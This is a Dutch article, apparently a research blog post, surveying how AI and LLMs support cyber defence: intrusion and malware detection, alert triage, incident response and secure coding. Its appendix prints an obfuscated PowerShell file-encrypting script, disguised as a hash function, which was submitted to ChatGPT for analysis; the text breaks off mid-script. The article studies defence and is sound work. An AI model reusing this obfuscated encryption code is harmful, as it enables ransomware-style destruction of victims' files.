<p class="wp-block-paragraph">In principe zou een <em>Large Language Model</em> (LLM) getraind op grote gegevensbronnen zoals webfora, gespecialiseerde websites over kwetsbaarheden en incidenten, of sociale netwerken kunnen worden gebruikt om inlichtingenrapporten over cyberdreigingen te genereren. LLM’s zouden gebruikt kunnen worden om sneller toegang te krijgen tot technische documentatie en inlichtingen uit gespecialiseerde bronnen. Sewak et al. <a href="#_ref8">[8]</a> beweren dat LLM&#8217;s automatisch informatie uit verschillende bronnen kunnen extraheren, valideren en samenvatten, zoals dreigingsrapporten, literatuur, scripts enz. Ze wijzen er met name op dat LLM&#8217;s kwaadaardige bedoelingen in scripts kunnen identificeren. Hun aanpak is in staat om meer dan 90%<a href="#_ftn3" name="_ftnref3"><sup>3</sup></a> van de scripts te ontdekken die daadwerkelijk kwaadaardig zijn in een detectietaak.</p>
<h1 class="wp-block-heading">Detectie en identificatie van cyberaanvallen</h1>
<p class="wp-block-paragraph">AI kan een rol spelen bij de detectie en identificatie van cyberaanvallen door inbraak- en malwaredetectiesystemen te verbeteren en waarschuwingen effectiever te beheren.</p>
<h2 class="wp-block-heading">Inbraakdetectie</h2>
<p class="wp-block-paragraph">Volgens NIST <a href="#_ref9">[9]</a> verwijst een inbraakdetectiesysteem (IDS) naar “<em>het proces waarbij gebeurtenissen in een computersysteem of netwerk worden gemonitord en geanalyseerd op tekenen van mogelijke incidenten</em>.” Hoewel vroege ontwikkelingen van zulke systemen zich richtten op benaderingen die gebaseerd waren op handtekeningen, publiceerde Denning in 1986 een IDS-model <a href="#_ref10">[10]</a> gebaseerd op anomaliedetectie<a href="#_ftn4" name="_ftnref4"><sup>4</sup></a> dat vandaag de dag nog steeds de basis vormt van veel systemen. Het belangrijkste voordeel van anomaliedetectiemethoden is dat ze soorten incidenten kunnen detecteren die nog niet eerder zijn gezien. Vandaag de dag zijn het unsupervised machine learning methoden die vaak gebruikt worden voor anomaliedetectie: netwerkactiviteit wordt vergeleken met een vooraf getrainde en genormaliseerde baseline van normaal gedrag, waardoor het systeem onbekende kwaadaardige activiteit kan detecteren, in tegenstelling tot handtekeningmethoden.</p>
<p class="wp-block-paragraph">Een benadering is om een artificieel neuraal netwerk te trainen om te leren of netwerkverkeer normaal is of overeenkomt met een klasse van aanvallen. In de praktijk gaat dit als volgt:</p>
<ol class="wp-block-list">
<li>Een expert verzamelt een dataset met zowel normaal netwerkverkeer als aanvallen.</li>
<li>Op een zeer krachtige machine wordt een neuraal netwerk getraind om het verschil tussen normaal verkeer en aanvalsverkeer te classificeren.</li>
<li>Een kopie van het in de vorige stap geleerde model wordt overgebracht naar het operationele inbraakdetectiesysteem van de organisatie.</li>
<li>Het inbraakdetectiesysteem past het model toe op het waargenomen netwerkverkeer.</li>
</ol>
<p class="wp-block-paragraph">Er zijn veel leermethoden om uit te kiezen, maar volgens Appruzzese et al. <a href="#_ref11">[11]</a>, zijn unsupervised leermethoden bijzonder populair voor inbraakdetectiesystemen op communicatienetwerken vanwege de moeilijkheid en de kosten om gelabelde gegevens te verkrijgen. Bovendien is volgens deze auteurs de superioriteit van deep learning-netwerken voor inbraakdetectie in vergelijking met andere AI-technieken niet bewezen en rechtvaardigen de complexiteit en extra computerkosten niet noodzakelijk hun toepassing.</p>
<p class="wp-block-paragraph">Hier volgen enkele voorbeelden van het gebruik van unsupervised technieken die worden gebruikt voor inbraakdetectie:</p>
<ul class="wp-block-list">
<li>Bohara et al. <a href="#_ref12">[12]</a> gebruiken verschillende anomaliedetectietechnieken, waaronder Principal Component Analysis (PCA), partitionering in -means en outlier-detectie op basis van de absolute mediaanafwijking om laterale<a href="#_ftn5" name="_ftnref5"><sup>5</sup></a> bewegingen in een netwerk te detecteren. De auteurs behaalden een <em>true positive rate</em> (TPR) van 88,7% en een <em>false positive rate</em> (FPR) van 14,1%.</li>
<li>In <a href="#_ref13">[13]</a>, presenteren de auteurs een methode voor het automatisch genereren van een grijze lijst van externe hosts die een hoge waarschijnlijkheid hebben om betrokken te zijn bij kwaadaardige taggingactiviteiten in verhouding tot de set van alle externe hosts waarmee de beschermde organisatie doorgaans contact opneemt. Hun voorstel is gebaseerd op clusteringstechnieken die worden toegepast op netwerkstromen.</li>
<li>Om het probleem van onevenwichtigheid tussen het aantal positieve en negatieve samples in inbraaklogs (doorgaans is er zeer weinig kwaadaardig verkeer in vergelijking met legitiem verkeer) aan te pakken, gebruiken Yang et al. <a href="#_ref14">[14]</a> een <em>Deep Convolutional Generative Adversarial Network</em> (DCGAN) om een realtime inbraakdetectiesysteem te bouwen. DCGAN houdt een balans tussen positieve en negatieve samples door nieuwe synthetische data te genereren. Om realtime analyse mogelijk te maken, gebruiken de auteurs <em>Gates Recurrent Units</em> (GRU), die efficiënter zijn dan een Long and <em>Short Term Memory</em> (LSTM) recurrent netwerk omdat ze minder parameters gebruiken. Het systeem bereikt een nauwkeurigheid van 99,73%.</li>
</ul>
<p class="wp-block-paragraph">Tot slot zijn er ook tools op basis van LLM&#8217;s verschenen voor inbraakdetectie. De PentestGPT<a href="#_ftn6" name="_ftnref6"><sup>6</sup></a> tool is bijvoorbeeld een door LLM (in dit geval ChatGPT-4) geoptimaliseerde tool voor het testen van inbraken  die het testen van inbraken automatiseert door testers door de algemene werking en specifieke bewerkingen te leiden. PentestGPT is met succes getest op HackTheBox<a href="#_ftn7" name="_ftnref7"><sup>7</sup></a> en via verschillende Capture the Flag (CTF)-competities op eenvoudige en gemiddelde niveaus.</p>
<h2 class="wp-block-heading">Malware detecteren</h2>
<p class="wp-block-paragraph">Machine learning kan worden gebruikt voor zowel statische als dynamische analyse van malware. Statische analyse is echter onderhevig aan relatief eenvoudige workarounds door de executable aan te passen zonder de onderliggende logica te veranderen of met meer geavanceerde varianten (bijv. polymorfisme) die de executable automatisch aanpassen.</p>
<p class="wp-block-paragraph">Dynamische analyse in combinatie met machine learning is effectiever <a href="#_ref11">[11]</a>. Maar er zijn verschillende beperkingen voor de toepasbaarheid van de nieuwste academische ontwikkelingen op het gebied van machine learning voor de detectie van malware <a href="#_ref15">[15]</a>, waaronder:</p>
<ul class="wp-block-list">
<li>Misinterpretatie van de prestatiemeting, deels door het vergeten van de basisfrequentie &#8211; een cognitieve bias gekoppeld aan statistische wetten <a href="#_ftn8" name="_ftnref8"><sup>8</sup></a>;</li>
<li>Testdatabases zijn vaak enkele jaren oud en houden daarom geen rekening met de nieuwe bypassmethoden die worden geïmplementeerd door tegenstanders, of met de nieuwe programmeerinterfaces die beschikbaar zijn. Volgens <a href="#_ref16">[16]</a>, maakt een groot aantal recente onderzoeken naar federated learning voor inbraakdetectie nog steeds gebruik van publieke databases die voor 2017 zijn gemaakt, en dus met aanvallen die niet noodzakelijk de huidige communicatienetwerken weerspiegelen.</li>
</ul>
<h2 class="wp-block-heading">Alert management</h2>
<p class="wp-block-paragraph">Het sorteren van beveiligingsalerts is een relatief tijdrovende taak, maar het kan worden versneld door contextuele informatie beschikbaar te maken voor analisten, zodat ze niet van de ene logging- of analysetool naar de andere hoeven te springen om te begrijpen wat er aan de hand is. Bijvoorbeeld: geolocatie van een IP-adres, naam van de organisatie die het IP beheert, leeftijd van het domein, reputatie van de hashwaarde van een bestand, type van het overeenkomstige bestand, automatische schermafbeelding van een URL, informatie over de host en zijn omgeving, enz. Deze alerts kunnen ook direct worden verrijkt door een LLM (bijv. categorisering, information issue van gespecialiseerde inlichtingendiensten, risicoscore).</p>
<p class="wp-block-paragraph">Daarnaast kunnen machine-learningtechnieken worden gebruikt om waarschuwingen te filteren, te sorteren, te prioriteren en te aggregeren om triage en incidentrespons te vergemakkelijken. Su et al. <a href="#_ref17">[17]</a> stellen bijvoorbeeld een methode voor om fout-positieve filtering te automatiseren met behulp van kernel density estimation (KDE)<a href="#_ftn9" name="_ftnref9"><sup>9</sup></a>. Volgens de auteurs vermindert dit de tijd die nodig is om alerts te controleren met 75%.</p>
<h1 class="wp-block-heading">Reageren op cybersecurityincidenten</h1>
<p class="wp-block-paragraph">De reactie op incidenten is een belangrijk onderdeel van de cybersecuritystrategie van een organisatie. Een goed voorbereide reactie kan de schade van een veiligheidsinbreuk of een cyberaanval helpen beperken. De snelheid en nauwkeurigheid van deze reacties is echter van het grootste belang. LLM&#8217;s kunnen helpen deze processen te versnellen en te stroomlijnen, door geautomatiseerde reacties te geven en zelfs te helpen bij het ontwikkelen van incident response plannen. Een van de kenmerken van de LLM-architectuur is de mogelijkheid om natuurlijke, contextgebaseerde tekst te genereren. Dit kan worden gebruikt om een AI-gestuurde assistent voor incidentrespons te maken, die tijdens een incident direct advies kan geven en gebeurtenissen automatisch kan documenteren terwijl ze zich voordoen. PaloAlto XSOAR<a href="#_ftn10" name="_ftnref10"><sup>10</sup></a> gebruikt bijvoorbeeld ChatGPT om handleidingen te genereren voor het omgaan met bepaalde aanvallen (zie Figuur 1).</p>
<table class=" aligncenter" style="width: 80%; background-color: #a0a0a0; border-style: solid;" cellpadding="5">
    <tbody>
    <tr>
    <td>
    <p>Dear Analyst,</p>
    <p>The following is an analysis for Incident No. #3332 by ChatGPT:</p>
    <p><strong>1- Analysis (Incident Description):</strong></p>
    <p>On Tuesday 2023-May-09 at 12:46:03 PM, a workstation with the hostname &#8220;testlab&#8221; was compromised through the MitreAttack technique of OS Credential Dumping by the Poseidon Group. The indicator of compromise, 31ebide7840a342fd468e558e5ab627bcb4c542a8fe01aec4d5ba01d539aOfc, has a malicious reputation.</p>
    <p><strong>2- Impact Analysis:</strong></p>
    <p>The compromised workstation may have granted the attacker access to sensitive information and credentials on the network, which could potentially lead to further attacks and data breaches. The Poseidon Group is a known advanced persistent threat (APT) group, and their attacks are often highly targeted and sophisticated, making it imperative to respond quickly and effectively to mitigate potential damage.</p>
    <p><strong>3- Action or Recommendations:</strong></p>
    <ol style="list-style-type: lower-alpha;">
    <li>Isolate the compromised workstation: The first step in responding to a security incident is to isolate the compromised system from the network to prevent further damage or spread of the attack. The compromised workstation with the IP address 10.10.10.10 should be taken offline immediately to prevent the attacker from further accessing or exfiltrating sensitive information.</li>
    <li>Conduct a forensic investigation: A thorough forensic investigation should be conducted to determine the extent of the damage and whether any other machines on the network have been compromised. The investigation should aim to identify the initial point of entry, the scope of the attack, and any data that may have been exfiltrated by the attacker.</li>
    <li>Remediate and patch vulnerabilities: The investigation should identify any vulnerabilities or weaknesses in the security infrastructure that allowed the attack to take place and patch or remediate these as quickly as possible to prevent similar incidents from occurring in the future.</li>
    <li>Deploy additional security measures: Additional security measures may need to be deployed to prevent further attacks by the Poseidon Group or other APT groups. This may include deploying intrusion detection and prevention systems, implementing Two-Factor Authentication (2FA), and training employees on how to identify and respond to potential security incidents.</li>
    <li>Notify appropriate authorities: Depending on the sensitivity and nature of the data that may have been compromised, it may be necessary to notify appropriate authorities such as law enforcement or regulatory bodies.</li>
    </ol>
    <p>The company should review their incident response plan and determine the appropriate steps to take regarding notification and disclosure.</p>
    <p>&#8212;<br />Your SOC Team<br />Cortex XSOAR</p>
    </td>
    </tr>
    </tbody>
    </table>
<p class="wp-block-paragraph"><em>Figuur 1 &#8211; Door XSOAR voorgestelde informatie om een reactie op een beveiligingsincident te beheren (uit <a href="#_ref18">[18]</a>).</em></p>
<p class="wp-block-paragraph">Ferrag et al. <a href="#_ref19">[19]</a> gebruiken FalconLLM<a href="#_ftn11" name="_ftnref11"><sup>11</sup></a> om de ernst en potentiële impact te analyseren van een aanval die is geïdentificeerd door een inbraakdetectiesysteem door deze te vergelijken met de interne database. Op een vergelijkbare manier als PaloAlto XSOAR kan de tool ook suggesties doen voor mogelijke mitigatiestrategieën en herstelprocedures, die als leidraad kunnen dienen voor een responsteam. De voorgestelde antwoorden blijven echter erg algemeen en zijn mogelijk niet bruikbaar voor een ervaren beheerder (zie Figuur 2).</p>
<table class=" aligncenter" style="width: 80%; background-color: #a0a0a0; border-style: solid;" cellpadding="5">
    <tbody>
    <tr>
    <td style="width: 100%;">
    <p><strong>Cyber Threats detected by SecurityBERT:</strong></p>
    <p>SecurityBERT has detected a cyber threat in our industrial network: a Backdoor attack. Can you propose to me a mitigation solution?</p>
    <p><strong>FalconLLM model incident response and recovery output:</strong></p>
    <p>Yes, I can. There are a few steps that can be taken to mitigate the Backdoor threat. Firstly, it&#8217;s important to identify the source of the attack. This could be done by monitoring the network traffic and looking for any suspicious activity. Once the source has been identified, it&#8217;s important to block any further attempts to access the network. This can be done by implementing firewalls, intrusion detection systems, and other security measures. Additionally, it&#8217;s important to update all software and patches to ensure that the network is as secure as possible. It&#8217;s also a good idea to regularly audit the network for any potential vulnerabilities.</p>
    </td>
    </tr>
    </tbody>
    </table>
<p class="wp-block-paragraph"><em>Figuur 2 – voorbeeld van een door FalconLLM voorgestelde risicobeperkende strategie (bron <a href="#_ref19">[19]</a>).</em></p>
<p class="wp-block-paragraph">Generatieve AI kan ook worden gebruikt om bepaalde aspecten van de analyse van cyberincidenten door analisten in een veiligheidsoperatiecentrum te automatiseren. Volgens A. Krishnan <a href="#_ref20">[20]</a> kan ChatGPT bijvoorbeeld worden gebruikt om te beschrijven wat een Powershellscript doet (zie voorbeeld in bijlage). Op dezelfde manier zouden deze tools, omdat ze ook code kunnen genereren, gebruikt kunnen worden om het voor analisten eenvoudiger te maken om loganalysescripts te schrijven (zie bijlage).</p>
<p class="wp-block-paragraph">De automatisering van de incidentrespons wordt ook overwogen, maar een groot probleem blijft de toewijzing van de verantwoordelijkheid. Dit wordt nog bemoeilijkt door het feit dat AI-systemen tot nu toe niet erg transparant en moeilijk uit te leggen zijn.</p>
<p class="wp-block-paragraph">Tot slot spelen gedetailleerde rapporten over cybersecurity-incidenten een belangrijke rol bij het helpen van belangrijke stakeholders, waaronder operationele beveiligingsteams en beveiligingsmanagers, om de beveiligingshuishouding van een organisatie beter te begrijpen en te verbeteren. Sommigen overwegen het gebruik van generatieve AI om logs van incidenten te synthetiseren en rapporten te schrijven om sneller actie te kunnen ondernemen.</p>
<h1 class="wp-block-heading">Veilig code genereren</h1>
<p class="wp-block-paragraph">Kwetsbaarheden in code zijn een terugkerend probleem dat de meeste software treft en een impact heeft op integriteit, vertrouwelijkheid en beschikbaarheid. Er wordt aangeraden om bepaalde programmeertalen te gebruiken waarvan bekend is dat ze minder gevoelig zijn voor klassieke problemen dan andere (bijv. Rust in plaats van C). Code review door andere expertprogrammeurs is ook een veelgebruikte methode.</p>
<p class="wp-block-paragraph">Maar de analyse van Ganseman <a href="#_ref21">[21]</a> roept de vraag op of LLM&#8217;s nuttig zijn om fouten of bugs in bestaande code op te sporen of om te helpen veiligere code te schrijven. De moeilijkheid ligt in het feit dat het voorlopig nodig is om de mogelijke plaatsen aan te geven waar de code niet veilig is, dat wil zeggen dat het aan de ontwikkelaar is om te detecteren waar een verbetering mogelijk is. Het kan zijn dat in de nabije toekomst een hele code base aan een security review kan worden onderworpen, maar op dit moment is dit beperkt tot de lengte van de context en hoe preciezer de vraag, hoe beter het antwoord.</p>
<p class="wp-block-paragraph">Paradoxaal genoeg rapporteerden Perry et al. <a href="#_ref22">[22]</a> in een recent onderzoek dat, hoewel assistenten de productiviteit van ontwikkelaars verhogen, deelnemers met toegang tot een assistent gebaseerd op een AI-model (in dit geval OpenAI&#8217;s <em>codex-davinci-002</em>) significant minder veilige code schreven dan degenen zonder toegang. Erger nog, deelnemers met toegang tot de assistent geloofden vaker dat ze veilige code schreven dan deelnemers zonder toegang. Het gebruik van wizards vereist daarom de implementatie van systematische codecontrole en statische analyse <a href="#_ref21">[21]</a>.</p>
<h1 class="wp-block-heading">Conclusie</h1>
<p class="wp-block-paragraph">Hoewel AI op veel gebieden bliksemsnelle vooruitgang boekt, is de niet te verwaarlozen bijdrage ervan aan de verdediging van IT-systemen nog steeds beperkt: we zijn nog ver verwijderd van tools waarmee het voldoende zou zijn om terabytes aan eventlogs aan te bieden om tekenen van inbraak snel en met weinig fouten te detecteren.</p>
<p class="wp-block-paragraph">Vandaag de dag wordt er nog steeds veel onderzoek gedaan naar gespecialiseerde statistische en machine learning methoden &#8211; zoals anomaliedetectie &#8211; en worden deze toegevoegd aan commerciële tools voor inbraakdetectie met het label “AI”. Maar bij nader inzien blijkt AI vooral een nieuwe ‘productiviteitstool’ te zijn voor cybersecurityprofessionals, die helpt bij het automatiseren van bepaalde cyberdefensietaken of bij het faciliteren van incidentrespons en die de verwerking van informatie over bedreigingen vergemakkelijkt, maar niet de menselijke analist vervangt.</p>
<h1 class="wp-block-heading">Referenties</h1>
<p class="wp-block-paragraph"><a name="_ref1"></a>[1]        B. Schneier, ‘Artificial Intelligence and the Attack/Defense Balance’, <em>IEEE Secur. Priv.</em>, vol. 16, nr. 2, pp. 96-96, mrt. 2018, doi: <a href="https://doi.org/10.1109/MSP.2018.1870857" target="_blank" rel="noopener noopnener">10.1109/MSP.2018.1870857</a></p>
<p class="wp-block-paragraph"><a name="_ref2"></a>[2]        I. H. Sarker, H. Janicke, L. Maglaras, en S. Camtepe, ‘Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper’. arXiv, 9 augustus 2023. Geraadpleegd: 27 oktober 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2308.05126" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2308.05126</a></p>
<p class="wp-block-paragraph"><a name="_ref3"></a>[3]        J. D’Hoinne, A. Litan, en P. Firstbrook, ‘4 Ways Generative AI Will Impact CISOs and Their Teams’, Gartner, G00793265, jun. 2023.</p>
<p class="wp-block-paragraph"><a name="_ref4"></a>[4]        M. Taddeo, T. McCutcheon, en L. Floridi, ‘Trusting artificial intelligence in cybersecurity is a double-edged sword’, <em>Nat. Mach. Intell.</em>, vol. 1, nr. 12, pp. 557-560, nov. 2019, doi: <a href="https://doi.org/10.1038/s42256-019-0109-1" target="_blank" rel="noopener noopnener">10.1038/s42256-019-0109-1</a></p>
<p class="wp-block-paragraph"><a name="_ref5"></a>[5]        D. Dasgupta, Z. Akhtar, en S. Sen, ‘Machine learning in cybersecurity: a comprehensive survey’, <em>J. Def. </em><em>Model. Simul. Appl. Methodol. Technol.</em>, vol. 19, nr. 1, pp. 57-106, jan. 2022, doi: <a href="https://doi.org/10.1177/1548512920951275" target="_blank" rel="noopener noopnener">10.1177/1548512920951275</a></p>
<p class="wp-block-paragraph"><a name="_ref6"></a>[6]        M. Nouh, J. R. C. Nurse, H. Webb, en M. Goldsmith, ‘Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement’, in <em>Proceedings 2019 Workshop on Usable Security</em>, 2019. doi: <a href="https://doi.org/10.14722/usec.2019.23032" target="_blank" rel="noopener noopnener">10.14722/usec.2019.23032</a></p>
<p class="wp-block-paragraph"><a name="_ref7"></a>[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, en D. Napolitano, ‘Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence’, <em>J. Appl. Secur. Res.</em>, vol. 16, nr. 3, pp. 345-369, jul. 2021, doi: <a href="https://doi.org/10.1080/19361610.2020.1761737" target="_blank" rel="noopener noopnener">10.1080/19361610.2020.1761737</a></p>
<p class="wp-block-paragraph"><a name="_ref8"></a>[8]        M. Sewak, V. Emani, en A. Naresh, ‘CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks’, 2023.</p>
<p class="wp-block-paragraph"><a name="_ref9"></a>[9]        K. A. Scarfone en P. M. Mell, ‘Guide to intrusion detection and prevention systems (IDPS)’, National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: <a href="https://doi.org/10.6028/NIST.SP.800-94" target="_blank" rel="noopener noopnener">10.6028/NIST.SP.800-94</a></p>
<p class="wp-block-paragraph"><a name="_ref10"></a>[10]      D. Denning, ‘An Intrusion-Detection Model’, <em>IEEE Trans. </em><em>Softw. Eng.</em>, vol. 13, nr. 2, pp. 222-232, 20.</p>
<p class="wp-block-paragraph"><a name="_ref11"></a>[11]      G. Apruzzese <em>e.a.</em>, ‘The role of machine learning in cybersecurity’, <em>Digit. Threats Res. Pract.</em>, vol. 4, nr. 1, pp. 1-38, mrt. 2023, doi: <a href="https://doi.org/10.1145/3545574" target="_blank" rel="noopener noopnener">10.1145/3545574</a></p>
<p class="wp-block-paragraph"><a name="_ref12"></a>[12]      A. Bohara, M. A. Noureddine, A. Fawaz, en W. H. Sanders, ‘An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement’, in <em>2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS)</em>, Hong Kong, Hong Kong: IEEE, sep. 2017, pp. 224-233. doi: <a href="https://doi.org/10.1109/SRDS.2017.31" target="_blank" rel="noopener noopnener">10.1109/SRDS.2017.31</a></p>
<p class="wp-block-paragraph"><a name="_ref13"></a>[13]      G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, en A. Guido, ‘Identifying malicious hosts involved in periodic communications’, in <em>2017 IEEE 16th International Symposium on Network Computing and Applications (NCA)</em>, Cambridge, MA: IEEE, okt. 2017, pp. 1-8. doi: <a href="https://doi.org/10.1109/NCA.2017.8171326" target="_blank" rel="noopener noopnener">10.1109/NCA.2017.8171326</a></p>
<p class="wp-block-paragraph"><a name="_ref14"></a>[14]      J. Yang, T. Li, G. Liang, W. He, en Y. Zhao, ‘A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN’, <em>IEEE Access</em>, vol. 7, pp. 83286-83296, 2019, doi: <a href="https://doi.org/10.1109/ACCESS.2019.2922692" target="_blank" rel="noopener noopnener">10.1109/ACCESS.2019.2922692</a></p>
<p class="wp-block-paragraph"><a name="_ref15"></a>[15]      L. Cavallaro, J. Kinder, F. Pendlebury, en F. Pierazzi, ‘Are Machine Learning Models for Malware Detection Ready for Prime Time?’, <em>IEEE Secur. Priv.</em>, vol. 21, nr. 2, pp. 53-56, mrt. 2023, doi: <a href="https://doi.org/10.1109/MSEC.2023.3236543" target="_blank" rel="noopener noopnener">10.1109/MSEC.2023.3236543</a></p>
<p class="wp-block-paragraph"><a name="_ref16"></a>[16]      J. L. Hernández-Ramos <em>e.a.</em>, ‘Intrusion detection based on federated learning: a systematic review’. arXiv, 18 augustus 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2308.09522" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2308.09522</a></p>
<p class="wp-block-paragraph"><a name="_ref17"></a>[17]      Y.-H. Su, M. C. Y. Cho, en H.-C. Huang, ‘False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering’, in <em>Proceedings of the 2nd International Conference on Computing and Big Data</em>, Taichung Taiwan: ACM, okt. 2019, pp. 58-62. doi: <a href="https://doi.org/10.1145/3366650.3366657" target="_blank" rel="noopener noopnener">10.1145/3366650.3366657</a></p>
<p class="wp-block-paragraph"><a name="_ref18"></a>[18]      M. Gupta, C. Akiri, K. Aryal, E. Parker, en L. Praharaj, ‘From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy’, <em>IEEE Access</em>, vol. 11, pp. 80218-80245, aug. 2023, doi: <a href="https://doi.org/10.1109/ACCESS.2023.3300381" target="_blank" rel="noopener noopnener">10.1109/ACCESS.2023.3300381</a></p>
<p class="wp-block-paragraph"><a name="_ref19"></a>[19]      M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, en T. Lestable, ‘Revolutionizing Cyber Threat Detection with Large Language Models’. arXiv, 25 juni 2023. Geraadpleegd: 8 november 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2306.14263" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2306.14263</a></p>
<p class="wp-block-paragraph"><a name="_ref20"></a>[20]      A. Krishnan, ‘4 ChatGPT cybersecurity benefits for the enterprise | TechTarget’, Security. Geraadpleegd: 12 oktober 2023. [Online]. Beschikbaar op: <a href="https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise" target="_blank" rel="noopener noopnener">https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise</a></p>
<p class="wp-block-paragraph"><a name="_ref21"></a>[21]      J. Ganseman, ‘LLM pour code : the Good, the Bad and the Ugly | Smals Research’, Smals Research Blog. Geraadpleegd: 18 oktober 2023. [Online]. Beschikbaar op: <a href="/llms-pour-code/" target="_blank" rel="noopener noopnener">/llms-pour-code/</a></p>
<p class="wp-block-paragraph"><a name="_ref22"></a>[22]      N. Perry, M. Srivastava, D. Kumar, en D. Boneh, ‘Do Users Write More Insecure Code with AI Assistants?’ arXiv, 16 december 2022. Geraadpleegd: 3 oktober 2023. [Online]. Beschikbaar op: <a href="https://arxiv.org/abs/2211.03622" target="_blank" rel="noopener noopnener">http://arxiv.org/abs/2211.03622</a></p>
<h1 class="wp-block-heading">Bijlage 1 – Kwaadaardige scriptanalyse met ChatGPT</h1>
<p class="wp-block-paragraph">In het onderstaande voorbeeld zie je het antwoord van ChatGPT 4.0 op de vraag “Wat doet deze code?” gevolgd door een codevoorbeeld. Ondanks de poging tot verduistering en het foutieve commentaar, kan worden gezien dat ChatGPT dit script, dat alle bestanden in de map “<code>C:\local\chat_gpt_ps\test</code>” en de submappen versleutelt, correct analyseert.</p>
<h2 class="wp-block-heading">Script ingevoerd in ChatGPT</h2>
<div>
<pre><code><span style="color: #0000ff;">function </span><span style="color: #795e00;">Compute_SHA256 </span>{</code><br /><code>    <span style="color: #008000;"># Compute SHA 256 of an object in memory</span></code><br /><code>    [<span style="color: #795e00;">CmdletBinding</span>()]</code><br /><code>    [<span style="color: #795e00;">OutputType</span>([<span style="color: #0000ff;">string</span>])]</code><br /><code>    <span style="color: #af00db;">Param</span></code><br /><code>    (</code><br /><code>        [<span style="color: #795e00;">Parameter</span>(<span style="color: #001080;">Mandatory </span>= <span style="color: #0000ff;">$true</span>)]</code><br /><code>        [<span style="color: #0000ff;">String</span>]<span style="color: #001080;">$salt</span>,</code><br /><code>        [<span style="color: #795e00;">Parameter</span>(<span style="color: #001080;">Mandatory </span>= <span style="color: #0000ff;">$true</span>, <span style="color: #001080;">ParameterSetName </span>= <span style="color: #a31515;">"param"</span>)]</code><br /><code>        [<span style="color: #0000ff;">String</span>]<span style="color: #001080;">$object</span></code><br /><code>    )</code><br /><code>    <span style="color: #af00db;">Begin</span> {</code><br /><code>        <span style="color: #008000;"># Initialise hashing function</span></code><br /><code>        <span style="color: #001080;">$tmp</span> = <span style="color: #795e00;">New-Object</span> byte[] <span style="color: #008000;">16</span></code><br /><code>        <span style="color: #001080;">$sha1</span> = <span style="color: #795e00;">New-Object</span> System.Security.Cryptography.SHA256Managed</code><br /><code>        <span style="color: #001080;">$sha2</span> = <span style="color: #795e00;">New-Object</span> System.Security.Cryptography.AesManaged</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Mode</span> = <span style="color: #a31515;">'CBC'</span> -as [<span style="color: #0000ff;">System.Security.Cryptography.CipherMode</span>]</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Padding</span> = <span style="color: #a31515;">'Zeros'</span> -as [<span style="color: #0000ff;">System.Security.Cryptography.PaddingMode</span>]</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.BlockSize</span> = <span style="color: #008000;">128</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.KeySize</span> = <span style="color: #008000;">256</span></code><br /><code>        [<span style="color: #0000ff;">void</span>][<span style="color: #0000ff;">Security.Cryptography.RNGCryptoServiceProvider</span>]::Create().GetBytes($tmp)</code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.IV</span> = <span style="color: #001080;">$tmp</span></code><br /><code>    }</code><br /><code>    <span style="color: #af00db;">Process</span> {</code><br /><code>        <span style="color: #008000;"># Compute hash</span></code><br /><code>        <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.Key</span> = <span style="color: #001080;">$sha1</span><span style="color: #795e00;">.ComputeHash</span>([<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetBytes($salt))</code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="</span>))</code><br /><code>        <span style="color: #001080;">$object2</span> = <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #af00db;">if</span> (!<span style="color: #001080;">$object2</span><span style="color: #795e00;">.FullName</span>) {</code><br /><code>            <span style="color: #af00db;">break</span></code><br /><code>        }</code><br /><code>        <span style="color: #001080;">$dynCmd</span> = [<span style="color: #0000ff;">System.Text.Encoding</span>]::UTF8.GetString([<span style="color: #0000ff;">Convert</span>]::FromBase64String(<span style="color: #a31515;">"W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="</span>))</code><br /><code>        <span style="color: #001080;">$input</span> = <span style="color: #795e00;">Invoke-Expression</span> <span style="color: #001080;">$dynCmd</span></code><br /><code>        <span style="color: #001080;">$output</span> = <span style="color: #001080;">$object2</span><span style="color: #795e00;">.FullName</span> + <span style="color: #a31515;">".xxx"</span></code><br /><code>        <span style="color: #001080;">$sha2_hasher</span> = <span style="color: #001080;">$sha2</span><span style="color: #795e00;">.CreateEncryptor</span>()</code><br /><code>        <span style="color: #001080;">$encryptedBytes</span> = <span style="color: #001080;">$sha2_hasher</span><span style="color: 